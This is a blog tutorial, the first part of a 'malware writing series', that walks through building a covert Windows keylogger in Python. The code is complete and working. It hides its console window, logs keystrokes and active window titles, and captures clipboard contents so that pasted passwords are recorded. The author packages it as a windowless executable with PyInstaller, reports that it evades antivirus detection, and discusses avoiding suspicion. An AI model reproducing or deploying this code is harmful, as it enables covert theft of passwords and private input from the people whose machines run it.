Malware writing series - Python Malware, part 1

I recently was sifting through a bunch of Humble Bundle, which like many, I had acquired in the past but never read and saw Black Hat Python. Curious to see what this was all about, I started looking some of the examples and identified issues that really annoyed me.

It’s written for Python 2.7. Python 3 has been out for years. It uses multiple packages that are now deprecated or extremely buggy, such as pyHook. It lacks a lot of neat tricks that one could do simply with standard user privileges.

Having written my share of malwares for fun cough in the past, I thought it would be interesting to revisit some basic features using today’s most hip and popular languages. I think it will also be a good tutorial for people starting in security in general to give a rough idea of the capabilities.

It’s worth noting that popular red team techniques such as dumping credentials from LSASS are almost completely useless with modern EDR (Endpoint Detection and Response) solutions as this is what they are looking for.

Which is why going back to basics and have a little bit of patience is all you need and is the most efficient. Everything is done here with standard user privileges, in the user’s context.

So why Python?

- Easy to learn and good for good for people new to programming

- Less commonly used and less chances to get flagged by AVs

- Can be executed in multiple ways.

- Can interface with C functions and the Windows API with ctypes or pywin32

But there are a few shortcomings:

- Slow and low performance compared to pure C because the code interpreted during execution

- Large executables (but it’s 2019 so bandwith shouldn’t be an issue)

- Can’t do real multi-threading due to GIL (we’ll get into that later in the series)

The tutorial will be divided in multiple parts. In each part, we will build a different module that will provide a specific set of features to our malware,including a module to use Github as C2 (always better to hide in plain sight). Then we’ll look at different ways to run, compile and distribute the malware. The code will be available in the https://github.com/tr4cefl0w/0x00sec repository.

It’s worth mentioning that I didn’t add a lot of exception handling or did much testing due to lack of time, but it’s good enough (and like Joel Salatin says, good enough is perfect) for an introduction. Also, I’m not a Python expert and haven’t touched the WinAPI a lot in the past decade so feel free to point out any mistake or improvements that could be done.

This part focuses on keylogging, the second part will likely be capturing or dumping credentials, although there’s some of this in that first part with the clipboard.

That keylogger currently has 0 detections on VirusTotal but it doesn’t do much other than logging. It’s not sending the data or doing anything else. You can find the results here:

https://www.virustotal.com/#/file/352337f857d72a263d4263e3a1643e2435e25e6eb91ab765bbbd8306a45babdc/detection

Building a keylogger

Calling functions is easy, but figuring out the algorithm is often the painful part.

First and foremost, we want to determine the actions that will need to be performed. What’s the point of logging what’s typed if you can’t contextualize it?

We need to know:

- What the current program is?

- When and what keys are pressed?

- How to deal with special keys and how we can use them?

- When to capture the clipboard?

To do so, we need to find a way to access multiple Windows API functions. Code from Black Hat Python and similar books mostly pyWin32 and pyHook. But, pyHook is only (officialy) available for Python 2.7 and still has a lot of old bugs that have yet to be fixed. For the keylogger, I figured it’d be better to use ctypes from the standard library as it would show some basics on how to use it to call Windows API functions.

In future parts we’ll likely just use PyWin32 for the simplicity and great documentation.

Let’s start.

Create a folder for the project and a sub-folder called modules. In the modules folder, create the file keylogger.py then open it in your text editor.

We first import the required standard libraries. Then, we have to import the Windows DLLs that provide the functions we’ll need. In this case, we’ll need kernel32.dll and user32.dll . Finally, we want to avoid showing the console window on the desktop which would raise suspicions.

import ctypes # For interfacing with C functions import logging # For logging the keystrokes on disk kernel32 = ctypes.windll.kernel32 # Access functions from kernel32.dll user32 = ctypes.windll.user32 # Access functions from user32.dll user32.ShowWindow(kernel32.GetConsoleWindow(), 0) # Hide console

get_current_window() function

We have to build a function to get the current window title so we know in what program the user is typing.

def get_current_window(): # Function to grab the current window and its title # Required WinAPI functions GetForegroundWindow = user32.GetForegroundWindow GetWindowTextLength = user32.GetWindowTextLengthW GetWindowText = user32.GetWindowTextW hwnd = GetForegroundWindow() # Get handle to foreground window length = GetWindowTextLength(hwnd) # Get length of the window text in title bar, passing the handle as argument buff = ctypes.create_unicode_buffer(length + 1) # Create buffer to store the window title string GetWindowText(hwnd, buff, length + 1) # Get window title and store in buff return buff.value # Return the value of buff

Now we can use this function to get the current window title and later use it in the keylogging function.

get_clipboard() function

The second function is to capture the content of the clipboard. It is a bit tricky to set up but it shows how to use pointers with ctypes.

def get_clipboard(): CF_TEXT = 1 # Set clipboard format # Argument and return types for GlobalLock/GlobalUnlock. kernel32.GlobalLock.argtypes = [ctypes.c_void_p] kernel32.GlobalLock.restype = ctypes.c_void_p kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p] # Return type for GetClipboardData user32.GetClipboardData.restype = ctypes.c_void_p user32.OpenClipboard(0) # Required clipboard functions IsClipboardFormatAvailable = user32.IsClipboardFormatAvailable GetClipboardData = user32.GetClipboardData CloseClipboard = user32.CloseClipboard try: if IsClipboardFormatAvailable(CF_TEXT): # If CF_TEXT is available data = GetClipboardData(CF_TEXT) # Get handle to data in clipboard data_locked = kernel32.GlobalLock(data) # Get pointer to memory location where the data is located text = ctypes.c_char_p(data_locked) # Get a char * pointer (string in Python) to the location of data_locked value = text.value # Dump the content in value kernel32.GlobalUnlock(data_locked) # Decrement de lock count return value.decode('utf-8') # Return the clipboard content finally: CloseClipboard() # Close the clipboard

Now we have the function to capture the clipboard content. Of course this could be done in fewer lines of code with PyWin32 but I figured it would be good to do something using only the standard library and show some basic usage of ctypes.

get_keystrokes() function

Now, the keylogging function. That function, when called, requires two argument. The directory where the log file will be stored and the file name. Then, we configure the logger that will write the log file on disk. Finally, we set up the WinAPI function and variables we need, such as a dictionary for the special keys pressed such as , , and so on.

The keylogging algorithm is set to run indefinitely using a while loop. The reason is that we don’t want the keylogging to stop unless it is told to do so. This means that if we want to do other tasks meanwhile, we need to run it in parallel with other functions either in a thread or separate process. This will be challenging and we’ll cover this later in the series when attempting to do real parallelism (which is not the same as concurrency by the way). We’ll also introduce some modifications to use a timer to stop/start the keylogger as an alternative to parallelism.

def get_keystrokes(log_dir, log_name): # Function to monitor and log keystrokes # Logger logging.basicConfig(filename=(log_dir +"\\" + log_name), level=logging.DEBUG, format='%(message)s') GetAsyncKeyState = user32.GetAsyncKeyState # WinAPI function that determines whether a key is up or down special_keys = {0x08: 'BS', 0x09: 'Tab', 0x10: 'Shift', 0x11: 'Ctrl', 0x12: 'Alt', 0x14: 'CapsLock', 0x1b: 'Esc', 0x20: 'Space', 0x2e: 'Del'} current_window = None line = [] # Stores the characters pressed while True: if current_window != get_current_window(): # If the content of current_window isn't the currently opened window current_window = get_current_window() # Put the window title in current_window logging.info(str(current_window).encode('utf-8')) # Write the current window title in the log file for i in range(1, 256): # Because there are 256 ASCII characters (even though we only really use 128) if GetAsyncKeyState(i) & 1: # If a key is pressed and matches an ASCII character if i in special_keys: # If special key, log as such logging.info("<{}>".format(special_keys[i])) elif i == 0x0d: # If <ENTER>, log the line typed then clear the line variable logging.info(line) line.clear() elif i == 0x63 or i == 0x43 or i == 0x56 or i == 0x76: # If characters 'c' or 'v' are pressed, get clipboard data clipboard_data = get_clipboard() logging.info("[CLIPBOARD] {}".format(clipboard_data)) elif 0x30 <= i <= 0x5a: # If alphanumeric character, append to line line.append(chr(i))

That’s it! A side note on capturing the clipboard data. We trigger the function when the user’s presses ‘c’ or ‘v’ because we want to log when a password is copied for a password manager and in case the user right-clicks to paste instead of using the keyboard shortcut. However, this might repeatedly log the clipboard content in the log file. We could call EmptyClipboard() after but that could raise suspicions. If you think of a better way, feel free to share!

Now we assemble everything to make the keylogger module.

import ctypes import logging # Required librairies kernel32 = ctypes.windll.kernel32 user32 = ctypes.windll.user32 # Hide console user32.ShowWindow(kernel32.GetConsoleWindow(), 0) def get_current_window(): # Function to grab the current window and its title GetForegroundWindow = user32.GetForegroundWindow GetWindowTextLength = user32.GetWindowTextLengthW GetWindowText = user32.GetWindowTextW hwnd = GetForegroundWindow() # Get handle to foreground window length = GetWindowTextLength(hwnd) # Get length of the window text in title bar buff = ctypes.create_unicode_buffer(length + 1) # Create buffer to store the window title string GetWindowText(hwnd, buff, length + 1) # Get window title and store in buff return buff.value # Return the value of buff def get_clipboard(): CF_TEXT = 1 # Set clipboard format # Argument and return types for GlobalLock/GlobalUnlock. kernel32.GlobalLock.argtypes = [ctypes.c_void_p] kernel32.GlobalLock.restype = ctypes.c_void_p kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p] # Return type for GetClipboardData user32.GetClipboardData.restype = ctypes.c_void_p user32.OpenClipboard(0) # Required clipboard functions IsClipboardFormatAvailable = user32.IsClipboardFormatAvailable GetClipboardData = user32.GetClipboardData CloseClipboard = user32.CloseClipboard try: if IsClipboardFormatAvailable(CF_TEXT): # If CF_TEXT is available data = GetClipboardData(CF_TEXT) # Get handle to data in clipboard data_locked = kernel32.GlobalLock(data) # Get pointer to memory location where the data is located text = ctypes.c_char_p(data_locked) # Get a char * pointer (string in Python) to the location of data_locked value = text.value # Dump the content in value kernel32.GlobalUnlock(data_locked) # Decrement de lock count return value.decode('utf-8') # Return the clipboard content finally: CloseClipboard() # Close the clipboard def get_keystrokes(log_dir, log_name): # Function to monitor and log keystrokes # Logger logging.basicConfig(filename=(log_dir +"\\" + log_name), level=logging.DEBUG, format='%(message)s') GetAsyncKeyState = user32.GetAsyncKeyState # WinAPI function that determines whether a key is up or down special_keys = {0x08: 'BS', 0x09: 'Tab', 0x10: 'Shift', 0x11: 'Ctrl', 0x12: 'Alt', 0x14: 'CapsLock', 0x1b: 'Esc', 0x20: 'Space', 0x2e: 'Del'} current_window = None line = [] # Stores the characters pressed while True: if current_window != get_current_window(): # If the content of current_window isn't the currently opened window current_window = get_current_window() # Put the window title in current_window logging.info(str(current_window).encode('utf-8')) # Write the current window title in the log file for i in range(1, 256): # Because there are 256 ASCII characters (even though we only really use 128) if GetAsyncKeyState(i) & 1: # If a key is pressed and matches an ASCII character if i in special_keys: # If special key, log as such logging.info("<{}>".format(special_keys[i])) elif i == 0x0d: # If <ENTER>, log the line typed then clear the line variable logging.info(line) line.clear() elif i == 0x63 or i == 0x43 or i == 0x56 or i == 0x76: # If characters 'c' or 'C' are pressed, get clipboard data clipboard_data = get_clipboard() logging.info("[CLIPBOARD] {}".format(clipboard_data)) elif 0x30 <= i <= 0x5a: # If alphanumeric character, append to line line.append(chr(i))

To run the keylogger, we need to create the main program file that will import the module and execute the keylogger. In the root of your project directory, create a main.py file and add the following:

import os from modules import keylogger log_dir = os.environ['localappdata'] log_name = 'applog.txt' keylogger.get_keystrokes(log_dir, log_name)

You can modify the log_dir and log_name to set the folder and file name of your choice. You can then run it as a Python script with python main.py or build a standalone executable with PyInstaller like the one uploaded on Virus Total. To do so, install PyInstaller with pip install pyinstaller then run pyinstaller --onefile main.py -w .

The executable will be located in the dist folder. If you run it through Window Explorer, you’ll see that no console window appears.

I created a dummy account in Bitwarden (my password manager) and attempted to log in Office 365 just to show the password being pasted with the clipboard when ‘v’ is hit. Here’s the content of the log file.

b'Bitwarden' b'Sign in to your Microsoft account - Firefox Developer Edition (Private Browsing)' <Ctrl> [CLIPBOARD] p1zz4

Looking at the task manager, you can see it running:

Look at that CPU usage! As pointed out by @dtm in comments, this is mostly caused by the fact that we’re using GetAsyncKeyState() instead of SetWindowsHookExA() and he is right.

However, after testing a simple example of Python keylogger using SetWindowsHookExA(), it triggered 4 AVs detections:

https://www.virustotal.com/#/file/a3b0373348756b46ccb53772a33da8bc483b0978f984e46637c64c79975cd8ae/detection

To investigate! I’ll attempt to find a way to use SetWindowsHookExA() without triggering any detection and update the code and the article if I succeed. If any of you can do it, please share in comment

Python references:

https://docs.python.org/3/library/ctypes.html

https://docs.python.org/3/library/logging.html

https://pyinstaller.readthedocs.io/en/stable/usage.html

MSDN references:

https://docs.microsoft.com/en-us/windows/desktop/api/winuser/

docs.microsoft.com GlobalLock function (winbase.h) - Win32 apps Locks a global memory object and returns a pointer to the first byte of the object's memory block.

docs.microsoft.com Standard Clipboard Formats (Winuser.h) - Win32 apps The clipboard formats defined by the system are called standard clipboard formats. These clipboard formats are described in the following table.

docs.microsoft.com Clipboard Functions - Win32 apps .

Edit 2019/02/19: Updated the article taking into account @dtm’s comment.